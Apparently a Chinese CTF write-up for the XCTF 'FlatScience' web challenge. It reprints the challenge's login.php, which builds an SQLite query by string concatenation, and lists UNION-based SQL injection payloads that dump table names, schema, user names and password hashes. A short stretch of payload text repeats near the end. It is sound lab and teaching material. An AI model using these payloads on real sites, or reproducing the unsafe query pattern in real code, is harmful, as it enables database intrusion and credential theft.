攻防世界38-FlatScience-CTFWeb

攻防世界38-FlatScience-Web

点开这个here看到一堆pdf,感觉没用,扫描一下

试试弱口令先

源码里有:

好吧0.0

试试存不存在sql注入

根本没回显,转战login.php先

输入1',发现sql注入

看到提示

访问后得源码

php 复制代码
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>


<div align=right class=lastmod>
Last Modified: Fri Mar  31:33:7 UTC 1337
</div>

<h1>Login</h1>

Login Page, do not try to hax here plox!<br>


<form method="post">
  ID:<br>
  <input type="text" name="usr">
  <br>
  Password:<br> 
  <input type="text" name="pw">
  <br><br>
  <input type="submit" value="Submit">
</form>

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->




<hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>

​ $db = new SQLite3('.../fancy.db');提示是个sqlite注入

payload里注入

返回在右上角

sqlite 复制代码
usr=' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw= //查所有表
usr=' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw= //查表所有字段
//查所有内容
usr=' union select 1,group_concat(id) from Users--&pw=1
usr=' union select 1,group_concat(name) from Users--&pw=1
usr=' union select 1,group_concat(password) from Users--&pw=1
usr=' union select 1,group_concat(hint) from Users--&pw=

得到hint,下面做不动了

贴一个大佬的wp

oncat(password) from Users--&pw=1

usr=' union select 1,group_concat(hint) from Users--&pw=

复制代码
得到hint,下面做不动了

贴一个大佬的wp

[FlatScience XCTF web进阶区FlatScience详解-CSDN博客](https://blog.csdn.net/weixin_43693550/article/details/120241607?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-2-120241607-blog-112161044.235^v43^pc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-2-120241607-blog-112161044.235^v43^pc_blog_bottom_relevance_base4&utm_relevant_index=5)
相关推荐
ZzT17 分钟前
一周涨 24 万星的 REA,新手和逆向老手为什么评价相反
安全·ai编程
EasyCVR21 分钟前
一个园区4种协议摄像头,怎么做到一站式接入?视频汇聚/视频融合/视频分析平台EasyCVR给出方案
安全·easycvr·国标gb28181
ESDWAN23 分钟前
跨境网络延迟、抖动和丢包有什么区别?如何判断业务影响
开发语言·网络·计算机网络·php
Code_Solitude26 分钟前
C语言分支结构练习题(华师版)
c语言·开发语言
从小白到软工1 小时前
4-1 指针
c语言·开发语言·数据结构·经验分享·ai编程
Pniubi1 小时前
agent处理封号怎么解决误封问题
开发语言·python
.Hypocritical.1 小时前
【Java 进阶】泛型深度解析|泛型类、泛型方法、通配符、类型擦除、PECS 原则
java·开发语言·泛型
VX_bysjlw9851 小时前
基于PHP的论坛系统设计与实现 35136-计算机毕设原创(免费领源码+带部署教程)
开发语言·php·apache·laravel·thinkphp·phpstudy·wampserver
忆~遂愿1 小时前
电影照片散在硬盘里不好找?我用群晖+Plex整理成可远程访问的家庭媒体库
开发语言·php
福大大架构师每日一题1 小时前
agno v3.1.3发布:外部智能体全面进入“可持久化、可恢复、可取消、可回放”时代
服务器·数据库·php